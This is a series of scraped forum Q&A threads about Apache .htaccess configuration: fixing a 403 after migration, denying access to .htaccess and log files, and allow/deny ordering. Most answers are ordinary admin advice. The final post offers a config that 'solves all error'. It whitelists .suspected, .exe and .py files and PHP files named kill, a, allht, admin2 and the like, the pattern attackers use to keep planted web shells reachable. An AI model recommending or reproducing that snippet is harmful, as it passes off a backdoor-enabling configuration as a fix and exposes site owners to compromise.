I'm currently transferring a clients site over to our server, including the domain so it has the same URL etc. But upon transferring all the files over, and changing the .htaccess file to match the one on the old server, I am being greeted with the error message You don't have permission to access / on this server and I'm not really sure why? A few things to mention, changing the first line from Options -Indexes to Options +Indexes rectifies this, but instead of the error message I am greeted with Index of / page. Another possibility, but would switching the hosting platform from Linux to Windows fix these problems?
Options -Indexes
ErrorDocument 500 /error
<Files ~ "\.pm$">
Order allow,deny
deny from all
</Files>
<Files ~ "\.template$">
Order allow,deny
deny from all
</Files>
<Files ~ "\.tmpl$">
Order allow,deny
deny from all
</Files>
<Files ~ "\.log$">
Order allow,deny
deny from all
</Files>
<Files ~ "\.revid$">
Order allow,deny
deny from all
</Files>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/index.pl
RewriteCond %{QUERY_STRING} ^browse=show_contact$
RewriteRule ^(.*)$ http://THE_DOMAIN_IS_HERE/formmail2.pl? [R=301,L]
One more thing I tried was adding DirectoryIndex index.pl which then brings up yet another error message, cannot execute script...etc etc etc...index.pl. I'm not really sure what to do, so any suggestions on how to rectify this will be massively appreciated!
The Answer is Easy since your on Linux
You simply have wrong permissions for your /var/www/index.pl
and thats why it can't be executed but / can be showed!
you need to do sudo chown rightuser:rightgroup the files in /var/www
and even make mod_perl be able to execute perl
to give you a more complet answer i would need to know the following
- 1. Error log what i requested in Comment under your question
- 2. The Operating System u are using
- 3. The Webserver u are using and its exact version is it self compiled or from software repo of your Linux version.
- 4. if from your linux version and is apache2 simply do
sudo ps aux | grep apache
else
sudo ps aux | grep httpd
- 5. Post all that here so i can help you
Related
I just discovered my .htaccess file is publicly visible from web clients (e.g. site/.htaccess ).
I'm running Apache/2.2.22 with mod_fcgid.
htaccess is working, if I put garbage in it I get Internal Server Error.
It seems these lines inside apache2.conf are ignored:
<Files ~ "^\.ht">
Order allow,deny
Deny from all
Satisfy all
</Files>
Any hint?
Update
Inside conf.d directory there's a configuration file blocking some spambots and some ip ranges.
<Location />
Order allow,deny
Allow from all
# Forum Spambots
deny from IP-RANGE
deny from env=bad_bot
</Location>
How can I still block .htaccess and .htpasswd from being visible from web clients?
I tried many times with different methods, but i'm still unable to deny access to folder by .htaccess. Here is what i tried:
RewriteEngine On
<Directory />
Require all denied
</Directory>
Second try:
RewriteEngine On
<RequireAll>
Require all denied
</RequireAll>
Third try:
RewriteEngine On
Require all denied
What am i missing? Thanks
EDIT:
If this will help I'm using windows x64 version of apache. Downloaded here:
http://www.apachelounge.com/download/win64/
LAST EDIT:
The problem is misspeled .htaccess name it was .htacess. Thanks for all of your time.
You should be able to use this in your htaccess file in the directory; your 2nd and 3rd try.
Require all denied
The <directory> directive should be used in your conf file. Also this is not a rewrite so having RewriteEngine will not matter. This is part of mod_authz_core
It maybe ignoring your .htaccess file. Check your conf file and make sure that you have AllowOverride All because in 2.4 the default is None.
I am trying to write some rewrite rules in apache2 conf and they are not working
Following is my virtualhost block in apache conf. My os is ubuntu 12.04 server edition
DocumentRoot /var/www/xyz
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/xyz>
Options Indexes FollowSymLinks MultiViews
#AllowOverride None
AllowOverride All
Order allow,deny
#Order deny,allow
allow from all
</Directory>
I have .htaccess file with some rewrite rules as follows
ReWriteEngine on
RewriteRule ^/matchV/(.*) http://host:8080/$1
RewriteRule ^/other/(.*?)$ /httpdcontent/$1
rewrite module is enabled with apache.
Can someone tell me if i am missing anything.
Thanks,
Sandeep
First of all, a dollar sign seems to be missing on the first rewriting rule.
Then, I would recommend the use of [L] in "debug" situation. This way, only one rule would have to be corrected at the time.
If you need to check how the rewriting goes, you need to have a look at your log files /var/log/apache2/error.log and /var/log/apache2/access.log. They will tell you what URL the server tried to process, and how it failed. From this, you should be able to see what is missing, or what is "too much".
From what I see, I would say it has to do with the rewriting base. Your webserver root is probably at /var/www, and the directory for the virtual host is /var/www/xyz. I think you could fix it using something like...
RewriteBase /xyz
Anyway, edit the configurations, and don't stop checking the logs. From there, you'll see what URL/File the server tries to process, and you should be able to correct the paths it uses.
I have the following .htaccess file:
RewriteEngine On
RewriteBase /
# Protect the htaccess file
<Files .htaccess>
Order Allow,Deny
Deny from all
</Files>
# Protect log.txt
<Files ./inscription/log.txt>
Order Allow,Deny
Deny from all
</Files>
# Disable directory browsing
Options All -Indexes
I am trying to forbid visitors to access the following file:
domain.example/inscription/log.txt
but what I have above does not work: I can still access the file from the browser remotely.
Within an htaccess file, the scope of the <Files> directive only applies to that directory (I guess to avoid confusion when rules/directives in the htaccess of subdirectories get applied superceding ones from the parent).
So you can have:
<Files "log.txt">
Order Allow,Deny
Deny from all
</Files>
For Apache 2.4+, you'd use:
<Files "log.txt">
Require all denied
</Files>
In an htaccess file in your inscription directory. Or you can use mod_rewrite to sort of handle both cases deny access to htaccess file as well as log.txt:
RewriteRule /?\.htaccess$ - [F,L]
RewriteRule ^/?inscription/log\.txt$ - [F,L]
Strong pattern matching — This is the method that I use here at Perishable Press. Using strong pattern matching, this technique prevents external access to any file containing “.hta”, “.HTA”, or any case-insensitive combination thereof. To illustrate, this code will prevent access through any of the following requests:
.htaccess
.HTACCESS
.hTaCcEsS
testFILE.htaccess
filename.HTACCESS
FILEROOT.hTaCcEsS
..etc., etc. Clearly, this method is highly effective at securing your site’s HTAccess files. Further, this technique also includes the fortifying “Satisfy All” directive. Note that this code should be placed in your domain’s root HTAccess file:
# STRONG HTACCESS PROTECTION
<Files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
satisfy all
</Files>
I don't believe the currently accepted answer is correct. For example, I have the following .htaccess file in the root of a virtual server (apache 2.4):
<Files "reminder.php">
require all denied
require host localhost
require ip 127.0.0.1
require ip xxx.yyy.zzz.aaa
</Files>
This prevents external access to reminder.php which is in a subdirectory.
I have a similar .htaccess file on my Apache 2.2 server with the same effect:
<Files "reminder.php">
Order Deny,Allow
Deny from all
Allow from localhost
Allow from 127.0.0.1
Allow from xxx.yyy.zzz.aaa
</Files>
I don't know for sure but I suspect it's the attempt to define the subdirectory specifically in the .htaccess file, viz <Files ./inscription/log.txt> which is causing it to fail. It would be simpler to put the .htaccess file in the same directory as log.txt i.e. in the inscription directory and it will work there.
Place the below line in your .htaccess file and replace the file name as you wish
RewriteRule ^(test\.php) - [F,L,NC]
Well you could use the <Directory> tag
for example:
<Directory /inscription>
<Files log.txt>
Order allow,deny
Deny from all
</Files>
</Directory>
Do not use ./ because if you just use / it looks at the root directory of your site.
For a more detailed example visit http://httpd.apache.org/docs/2.2/sections.html
I saw several htaccess example disabling some files to access:
<Files ~ "\.(js|sql)$">
order deny,allow
deny from all
</Files>
for example, this prevents to access all .JS and .SQL files, the others are enabled. I want the contrary! I want those files to be ENABLED, all others to be prevented. How to achieve this?
Vorapsak's answer is almost correct. It's actually
order allow,deny
<Files ~ "\.(js|sql)$">
allow from all
</Files>
You need the order directive at the top (and you don't need anything else).
The interesting thing is, it seems we can't just negate the regex in FilesMatch, which is... weird, especially since the "!" causes no server errors or anything. Well, duh.
and a bit of explanation:
The order cause tells the server about its expected default behaviour. The
order allow,deny
tells the server to process the "allow" directives first: if a request matches any allow directive, it's marked as okay. Then the "deny" directives are evaulated: if a request matches any deny directives, it's denied (it doesn't matter if it was allowed in the first pass). If no matches were found, the file is denied.
The directive
order deny,allow
works the opposite way: first the server processes the "deny" directives: if a request matches, it's marked to be denied. Then the "allow" directives are evaulated: if a request matches an allow directive, it's allowed in, even if it matches a deny directive earlier. If a request matches nothing, the file is allowed.
In this specific case, the server first tries to match the allow directives: it sees that js and sql files are allowed, so a request to foo.js goes through; a request to bar.php matches no directives, so it's denied.
If we swap the directive to "order deny,allow", then foo.js will go through (for being a js), and bar.php will also go through, as it matches no patterns.
oh and, one more thing: directives in a section (i.e. < Files> and < Directory>) are always evaulated after the main body of the .htaccess file, overwriting it. That's why Vorapsak's solution did not work as inteded: the main .htaccess denied the request, then the < Files> order was processed, and it allowed the request.
Htaccess is magic of the worst kind, but there's logic to it.
Did you try setting a
deny from all
outside (before) the tag, then changing the
deny from all
to
allow from all
inside? Something like
deny from all
<Files ~ "\.(js|sql)$">
order allow,deny
allow from all
</Files>
if you are having trouble with your website, use this htaccess code. It solves all error you may likely encounter
DirectoryIndex index.html index.php
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
Order allow,deny
Allow from all
</FilesMatch>
<FilesMatch "^(votes|themes|xmlrpcs|uninstall|wp-login|locale|admin|kill|a|allht|index|index1|admin2|license3|votes4|foot5|load|home|items|store).php$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
If this help you, don't forget to thump up!!!